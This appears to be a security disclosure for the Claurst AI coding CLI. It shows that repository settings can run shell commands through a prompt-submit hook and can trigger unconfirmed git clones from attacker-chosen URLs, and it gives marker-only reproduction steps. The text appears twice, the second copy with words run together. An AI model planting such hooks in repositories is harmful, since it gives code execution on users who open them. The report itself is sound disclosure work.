Affected version: v0.1.7, still present on main at 595b0ebe3e8afbfb71881bf95454a2ecb7b1d54c.
I found two repository-controlled execution sinks in .claurst/settings.json(c): config.hooks.UserPromptSubmit[].command runs through sh -c / cmd /C on prompt submit, and config.skills.urls is cloned with git clone --depth=1 <url> <cache-dir> when the user runs /skills. Both are loaded from project settings without a separate trust prompt or content-change confirmation.
1. UserPromptSubmit hook executes a shell command
Source chain: project settings are merged during startup (src-rust/crates/core/src/lib.rs:1741 and src-rust/crates/core/src/lib.rs:1828), the interactive input loop fires UserPromptSubmit on prompt submit (src-rust/crates/cli/src/main.rs:2778), and run_hooks launches sh -c / cmd /C directly (src-rust/crates/core/src/lib.rs:3714).
Impact: a repository can cause arbitrary shell execution as the current user as soon as the user submits any prompt in that checkout.
Repro:
tmp="$(mktemp -d)"
mkdir -p "$tmp/repo/.claurst"
cat >"$tmp/repo/.claurst/settings.json" <<'JSON'
{
"config": {
"hooks": {
"UserPromptSubmit": [
{ "command": "printf hook > \"$TMPDIR/claurst-hook.marker\"" }
]
}
}
}
JSON
export TMPDIR="$tmp"
cd "$tmp/repo"
claurst
Submit any prompt in the TUI. The marker file appears at $TMPDIR/claurst-hook.marker.
2. skills.urls triggers an unconfirmed git clone
Source chain: project skills URLs are merged into effective config (src-rust/crates/core/src/lib.rs:1837 and src-rust/crates/core/src/lib.rs:1878), /skills calls discovery on the effective config, and each URL goes through fetch_git_skills() which runs git clone --depth=1 (src-rust/crates/core/src/skill_discovery.rs:191 and src-rust/crates/core/src/skill_discovery.rs:214).
Impact: a repository can make Claurst spawn git against an attacker-chosen URL without a separate confirmation step.
Repro:
tmp="$(mktemp -d)"
mkdir -p "$tmp/skills-src/.claurst"
mkdir -p "$tmp/skills-src/skills"
cat >"$tmp/skills-src/skills/demo.md" <<'MD'
---
name: demo
---
demo
MD
git -C "$tmp/skills-src" init -q
git -C "$tmp/skills-src" add .
git -C "$tmp/skills-src" commit -qm init
git clone -q --bare "$tmp/skills-src" "$tmp/skills.git"
mkdir -p "$tmp/repo/.claurst"
cat >"$tmp/repo/.claurst/settings.json" <<JSON
{
"config": {
"skills": {
"urls": ["file://$tmp/skills.git"]
}
}
}
JSON
cd "$tmp/repo"
claurst
Run /skills in the TUI. Claurst clones the configured URL into its cache with git clone --depth=1, with no trust prompt.
Notes
I also reproduced both sinks with a marker-only Rust test harness against origin/main. No SECURITY.md or equivalent policy file was present in the repository.
Affected version:
v0.1.7, still present onmainat595b0ebe3e8afbfb71881bf95454a2ecb7b1d54c.I found two repository-controlled execution sinks in
.claurst/settings.json(c):config.hooks.UserPromptSubmit[].commandruns throughsh -c/cmd /Con prompt submit, andconfig.skills.urlsis cloned withgit clone --depth=1 <url> <cache-dir>when the user runs/skills. Both are loaded from project settings without a separate trust prompt or content-change confirmation.1.
UserPromptSubmithook executes a shell commandSource chain: project settings are merged during startup (
src-rust/crates/core/src/lib.rs:1741andsrc-rust/crates/core/src/lib.rs:1828), the interactive input loop firesUserPromptSubmiton prompt submit (src-rust/crates/cli/src/main.rs:2778), andrun_hookslaunchessh -c/cmd /Cdirectly (src-rust/crates/core/src/lib.rs:3714).Impact: a repository can cause arbitrary shell execution as the current user as soon as the user submits any prompt in that checkout.
Repro:
Submit any prompt in the TUI. The marker file appears at
$TMPDIR/claurst-hook.marker.2.
skills.urlstriggers an unconfirmedgit cloneSource chain: project skills URLs are merged into effective config (
src-rust/crates/core/src/lib.rs:1837andsrc-rust/crates/core/src/lib.rs:1878),/skillscalls discovery on the effective config, and each URL goes throughfetch_git_skills()which runsgit clone --depth=1(src-rust/crates/core/src/skill_discovery.rs:191andsrc-rust/crates/core/src/skill_discovery.rs:214).Impact: a repository can make Claurst spawn
gitagainst an attacker-chosen URL without a separate confirmation step.Repro:
Run
/skillsin the TUI. Claurst clones the configured URL into its cache withgit clone --depth=1, with no trust prompt.Notes
I also reproduced both sinks with a marker-only Rust test harness against
origin/main. NoSECURITY.mdor equivalent policy file was present in the repository.